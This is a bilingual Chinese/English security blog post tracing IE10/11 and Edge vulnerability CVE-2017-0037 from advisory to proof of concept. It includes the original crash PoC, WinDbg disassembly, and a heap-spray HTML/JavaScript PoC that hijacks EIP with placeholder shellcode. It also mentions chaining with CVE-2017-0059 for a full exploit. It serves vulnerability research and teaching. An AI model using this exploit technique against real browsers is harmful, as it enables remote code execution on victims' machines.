从CVE到PoC – CVE-2017-0037

  • A+
所属分类:安全文章

PoC利用Internet Explorer 10、11和Edge中的类型混淆问题PoC exploit for a type confusion issue in Internet Explorer 10, 11 and Edge

从CVE到PoC – CVE-2017-0037

IE浏览器Internet Explorer

“ Microsoft Internet Explorer 10和11以及Microsoft Edge在mshtml.dll中的Layout :: MultiColumnBoxBuilder :: HandleColumnBreakOnColumnSpanningElement函数中存在类型混淆问题,它允许远程攻击者通过包含精心设计的级联样式表(CSS)令牌的向量执行任意代码在TH元素上运行的序列和精心设计的JavaScript代码。”“Microsoft Internet Explorer 10 and 11 and Microsoft Edge have a type confusion issue in the Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement function in mshtml.dll, which allows remote attackers to execute arbitrary code via vectors involving a crafted Cascading Style Sheets (CSS) token sequence and crafted JavaScript code that operates on a TH element.”


PoCThe PoC

该漏洞由Google Project Zero的Ivan Fratric发现。以下是他提供的PoC:The vulnerability was found by Ivan Fratric of Google Project Zero. The following is the PoC he provided:

<!-- saved from url=(0014)about:internet --><style>.class1 { float: left; column-count: 5; }.class2 { column-span: all; columns: 1px; }table {border-spacing: 0px;}</style><script>function boom() {  document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";  th1.align = "right";}</script><body onload="setInterval(boom,100)"><table cellspacing="0"><tr class="class1"><th id="th1" colspan="5" width=0></th><th class="class2" width=0><div class="class2"></div></th>

有几点注意事项:With a few notes:

The PoC crashes inMSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElementwhen reading from address 0000007800000070[...]Edge should crash when reading the same address while 32-bit IE tab process should crash in the same place but when reading a lower address.[...]Let's take a look at the code around the rip of the crash. 00007ffe`8f330a51 488bcd          mov     rcx,rbp00007ffe`8f330a54 e8873c64ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)00007ffe`8f330a59 48833800        cmp     qword ptr [rax],0 ds:00000078`00000070=????????????????00007ffe`8f330a5d 743d            je      MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xe7 (00007ffe`8f330a9c)00007ffe`8f330a5f 488bcd          mov     rcx,rbp00007ffe`8f330a62 e8793c64ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)00007ffe`8f330a67 488b30          mov     rsi,qword ptr [rax]00007ffe`8f330a6a 488b06          mov     rax,qword ptr [rsi]00007ffe`8f330a6d 488bb848030000  mov     rdi,qword ptr [rax+348h]00007ffe`8f330a74 488bcf          mov     rcx,rdi00007ffe`8f330a77 ff155b95d700    call    qword ptr [MSHTML!_guard_check_icall_fptr (00007ffe`900a9fd8)]00007ffe`8f330a7d 488bce          mov     rcx,rsi00007ffe`8f330a80 ffd7            call    rdi On 00007ffe`8f330a51 rxc is read from rbp and MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called which sets up rax. rcx is supposed to point to another object type, but in the PoC it points to an array of 32-bit integers allocated in Array<Math::SLayoutMeasure>::Create. This array stores offsets of table columns and the values can be controlled by an attacker (with some limitations). On 00007ffe`8f330a59 the crash occurs because rax points to uninitialized memory. However, an attacker can affect rax by modifying table properties such as border-spacing and the width of the firs th element. Let's see what happens if an attacker can point rax to the memory he/she controls. Assuming an attacker can pass a check on line 00007ffe`8f330a59, MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called again with the same arguments. After that, through a series of dereferences starting from rax, a function pointer is obtained and stored in rdi. A CFG check is made on that function pointer and, assuming it passes, the attacker-controlled function pointer is called on line 00007ffe`8f330a80.

如果我们可以执行堆喷射并将EAX指向我们控制的某个内存位置,那么听起来很容易控制CMP条件。Sounds pretty easy to control that CMP condition if we can perform heap spray and point EAX to some memory location we control.

控制EIPControl EIP

首先,让我们确认PoC是否有效:First of all let’s confirm that the PoC works:

(654.eec): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00000038 ebx=049f4758 ecx=049f4758 edx=00000002 esi=00000064 edi=5a0097f0eip=59a15caf esp=0399bd68 ebp=0399bd94 iopl=0         nv up ei pl nz na po nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:59a15caf 833800          cmp     dword ptr [eax],0    ds:002b:00000038=????????

我按照Ivan的建议使用了“ th”元素的宽度,发现值“ 2000000”使我们可以将EAX的值移动到堆喷射中的受控内存位置:I played a little bit with the width of that “th” element as suggested by Ivan and found that a value of “2000000” allows us to move the value of EAX to a controlled memory location in the heap spray:

0:018> bu 59a15caf 0:018> g[...]Breakpoint 0 hiteax=03bd86d4 ebx=03bd86c4 ecx=03bd86c4 edx=00000002 esi=00000064 edi=5a005320eip=59a15caf esp=03f1c1d8 ebp=03f1c204 iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:59a15caf 833800          cmp     dword ptr [eax],0    ds:002b:03bd86d4=a0949807(skip the first break) 0:007> gBreakpoint 0 hiteax=0bebc2d8 ebx=04be9ae0 ecx=04be9ae0 edx=00000002 esi=00000064 edi=5a0097f0eip=59a15caf esp=03f1c1d8 ebp=03f1c204 iopl=0         nv up ei pl nz na pe nccs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:59a15caf 833800          cmp     dword ptr [eax],0    ds:002b:0bebc2d8=0e0e0e0e

正如预期的那样,EAX指向某个有效(和可控)的内存位置。如果满足CMP条件,则易受攻击的例程将尝试加载位于“ 0e0e0e0e”的对象的vftable并在+ 1A4h处调用该函数:As expected, EAX points to some valid (and controllable) memory location.

If the CMP condition is satisfied the vulnerable routine tries to load the vftable of the object located at “0e0e0e0e” and calls the function at +1A4h:

59a15caf 833800          cmp     dword ptr [eax],059a15cb2 7448            je      MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xf1 (59a15cfc)59a15cb4 8bcb            mov     ecx,ebx59a15cb6 e8ec8181ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (5922dea7)59a15cbb 8965f0          mov     dword ptr [ebp-10h],esp59a15cbe 8b18            mov     ebx,dword ptr [eax]59a15cc0 8b03            mov     eax,dword ptr [ebx]59a15cc2 8bb8a4010000    mov     edi,dword ptr [eax+1A4h]59a15cc8 8bcf            mov     ecx,edi59a15cca ff15ac1f455a    call    dword ptr [MSHTML!__guard_check_icall_fptr (5a451fac)]59a15cd0 8bcb            mov     ecx,ebx59a15cd2 ffd7            call    edi  Step by step:59a15cbe 8b18            mov     ebx,dword ptr [eax]  ds:002b:0bebc2d8=0e0e0e0e59a15cc0 8b03            mov     eax,dword ptr [ebx]  ds:002b:0e0e0e0e=0e0e0e0e59a15cc2 8bb8a4010000    mov     edi,dword ptr [eax+1A4h] ds:002b:0e0e0fb2=4141414159a15cd2 ffd7            call    edi {41414141}

以下是将EIP设置为41414141的有效PoCThe following is a working PoC to set EIP to 41414141

<style>.class1 { float: left; column-count: 5; }.class2 { column-span: all; columns: 1px; }table {border-spacing: 0px;}</style><script>     function boom() {      document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";      th1.align = "right";    }</script><body onload="setInterval(boom,1000)"><div id="hs"></div><script>    // Heap Spray - DEPS avoid null bytes    var hso = document.getElementById("hs");    hso.style.cssText = "display:none";         var junk = unescape("%u0e0e%u0e0e");    while (junk.length < 0x1000) junk += junk;         var rop = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");    var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");    var xchg = unescape("%u4141%u4141"); // initial EIP control         var offset = 0x7c9; // to control eip    var data = junk.substring(0,offset) + xchg + rop + shellcode;     data += junk.substring(0,0x800-offset-xchg.length-rop.length-shellcode.length);     while (data.length < 0x80000) data += data;    for (var i = 0; i < 0x350; i++)     {        var obj = document.createElement("button");        obj.title = data.substring(0,(0x7fb00-2)/2); // 2 null bytes terminator        hso.appendChild(obj);    }</script><table cellspacing="0"><tr class="class1"><th id="th1" colspan="0" width=2000000></th> <!-- width should control eax contents, should land somewhere in the heap spray --><th class="class2" width=0><div class="class2"></div></th>

工作利用概念Working Exploit Concept

显而易见,我们存在内存泄漏和EIP的控制。将CVE-2017-0059和CVE-2017-0037链接在一起,您将获得适用于Windows 7和IE11的可利用漏洞。It’s pretty obvious, we have a memory leak and control of EIP. Chain together CVE-2017-0059 and CVE-2017-0037 and you’ll have a working exploit for Windows 7 and IE11.


参考:

https://www.silentgrid.com/blog/cve-to-poc-cve-2017-0037/

https://www.cvedetails.com/cve/CVE-2017-0037/

https://blog.0patch.com/2017/03/0patching-another-0-day-internet.html

从CVE到PoC – CVE-2017-0037

本文始发于微信公众号(Ots安全):从CVE到PoC – CVE-2017-0037

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: